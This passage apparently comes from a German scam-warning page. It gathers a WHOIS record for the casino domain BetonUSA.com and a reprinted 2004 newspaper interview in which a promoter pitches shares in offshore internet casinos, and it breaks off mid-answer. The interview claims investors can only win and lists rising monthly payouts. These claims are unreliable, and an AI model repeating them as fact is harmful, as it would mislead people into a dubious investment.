      As well as...

      Organization:
      IEE Ltd.
      Eric Bouchard
      60 Nevis
      St Jogns,
      AG
      Phone: 416-644-0139
      Fax..: 416-644-0140
      Email: craig@pyramidcasino.com

      Registrar Name....: Register.com
      Registrar Whois...: whois.register.com
      Registrar Homepage: http://www.register.com

      Domain Name: BetonUSA.COM

      Created on..............: Tue, Mar 20, 2001
      Expires on..............: Thu, Mar 20, 2003
      Record last updated on..: Tue, Oct 29, 2002

      Administrative Contact:
      IEE Ltd.
      Eric Bouchard
      60 Nevis
      St Jogns,
      AG
      Phone: 416-644-0139
      Fax..: 416-644-0140
      Email: craig@pyramidcasino.com


      NS.PYRAMIDCASINO.COM 216.191.112.4
      NS2.PYRAMIDCASINO.COM 216.191.112.61


      "you have won"-scams in Deutschland:

      siehe
      "das legendäre Postfach in Great Dunmow"

      2004, Prager Zeitung
      Ohne Frack zum Glücksspiel
      1. 12. 2004, Themenbereich: PZ-Specials
      Mike Hansch holt Black Jack, Roulette und die Sportwette an den heimischen Computer.

      Schon die alten Cowboys haben bei ihrem Kartenspielen im Saloon um Geld gewettet, Spielerstädte wie Las Vegas sind längst beliebte Urlaubsziele. Doch wie entwickelt sich das Glücksspiel weiter?

      Bernd Rudolf sprach mit Mike Hansch über ein Konzept, bei dem es nicht nur um Glücksspiel am Computer geht, sondern vor allem um ein Geschäftsmodell, das Anlegern hohe Renditen verspricht.

      Herr Hansch, Sie betreiben ein Internet-Casino. Wie kann man sich das vorstellen?

      Hansch: Zunächst möchte ich anmerken, dass nicht ich, sondern die von mir vertretene Unternehmensgruppe die Internet-Portale betreibt. Ein Casino-Portal ist ein per PC und Internet erreichbarer, am Ort des Servers staatlich weltweit lizensierter Glücksspielbetrieb, der klassische Casinospiele plus Sportwetten und Lotterie unter einem Dach vereint.

      Wie viele virtuelle Casinos betreiben Sie und was kann dort alles gespielt werden?

      Hansch: Unsere Unternehmensgruppe betreibt 80 Casino-Portale.Alle klassischen Casinospiele wie zum Beispiel Black Jack, Roulette, einarmige Banditen, Craps und vieles mehr sind dort vertreten. Außerdem kann auf alle internationale Sportgeschehnisse gewettet werden so auch auf Spiele der Deutschen Bundesliga oder die Ergebnisse der Formel 1.

      Was fasziniert so viele Leute am Glücksspiel, obwohl man mehr verlieren kann als gewinnen?

      Hansch: Es ist die Chance, etwas gewinnen zukönnen. Das Risiko des Verlustes wird akzeptiert. Einige spielen auch nur zum reinen Zeitvertreib und sehen ihren Spieleinsatz quasi als “Eintrittsgeld” für das gebotene Spiel. Einige Spieler spielen auch aus Sucht.

      Sie haben eine Geschäftsidee umgesetzt, bei der man nur gewinnen kann. Wie funktioniert das?

      Hansch: In dem sich der Anleger an einem Softwarelizenzgeber für eine Glückspielsoftware beteiligt. Über die Softwarelizenzvergütung erhält der Anleger einen Teil der Spielerlöse von allen lizensierten Internet-Casinos. Aus den Anlegergeldern werden die bis jetzt getätigten Investitionen refinanziert, sowie ein weltweites Marketing angeschoben. Außerdem haben wir unseren Anlegern bereits die geglückte Übernahme eines der größten Sportwetten- und Casino-Portale der USA mitteilen können. Allein dieses seit 1999 auf dem Markt befindliche Casino www.BetOnUSA.com (USA) verfügt monatlich über 50 Millionen Dollar Spielereinsätze.
      Außerdem wurde www.BetChamps.com (Asien) und www.PyramidCasino.com (Europa, Russland) übernommen. Dort wird nach vollständiger Platzierung der Anteilscheine mit dem Marketing begonnen. Wir greifen dann natürlich auf bereits erprobte Konzepte von unserem erfolgreichen BetOnUSA- Casino zurück. Die anderen 77 Casinos werden nach und nach länderspezifisch beworben.

      Wieviel Geld muss ein Anleger investieren?

      Hansch: Ab 2500 Euro Einmalzahlung ist man dabei.

      Wie hoch sind die Ausschüttungen?

      Hansch: Je Anteil ergaben sich folgende Auszahlungen:
      August 04 = 8,00 Euro
      September 04 = 19,77 Euro
      Oktober 04 = 26,52 Euro
      November 04 = 50,00 Euro (zirka)

      Erklären Sie unseren Lesern bitte das Beteiligungsmodell.

      Hansch: Die gesamten Ansprüche am Gewinn der Software-Lizenzvergütungen aus 80 Casino-Portalen sind in 16 000 Anteile zu jeweils 2500 Euro aufgeteilt, so dass ein Anteil einen Anspruch auf 1/16 Promille des Gesamtgewinn ergibt.
      Der Anleger ist dabei weder am Spiel, noch am Veranstalter des Spiels, sondern ausschließlich am Gewinn des Lizenzgebers der Glücksspiel-Software beteiligt.

      Aber die Besteuerung von Casinos ist jedenfalls in Deutschland hoch. Wie schaffen Sie es trotzdem so hohe Renditen zu garantieren?

      Hansch: Da wir sozusagen “Offshore” auf den
      Niederländischen Antillen (Curacao) ansässig sind und von der Regierung der Antillen lizensiert sind, zahlen wir nur die dort ortsüblichen Steuern für Offshorefirmen in Höhe von 2 Prozent.

      Welche Vorteile bieten Internet-Casinos gegenüber den herkömmlichen?

      Hansch: Es ist ein ungleiches und chanc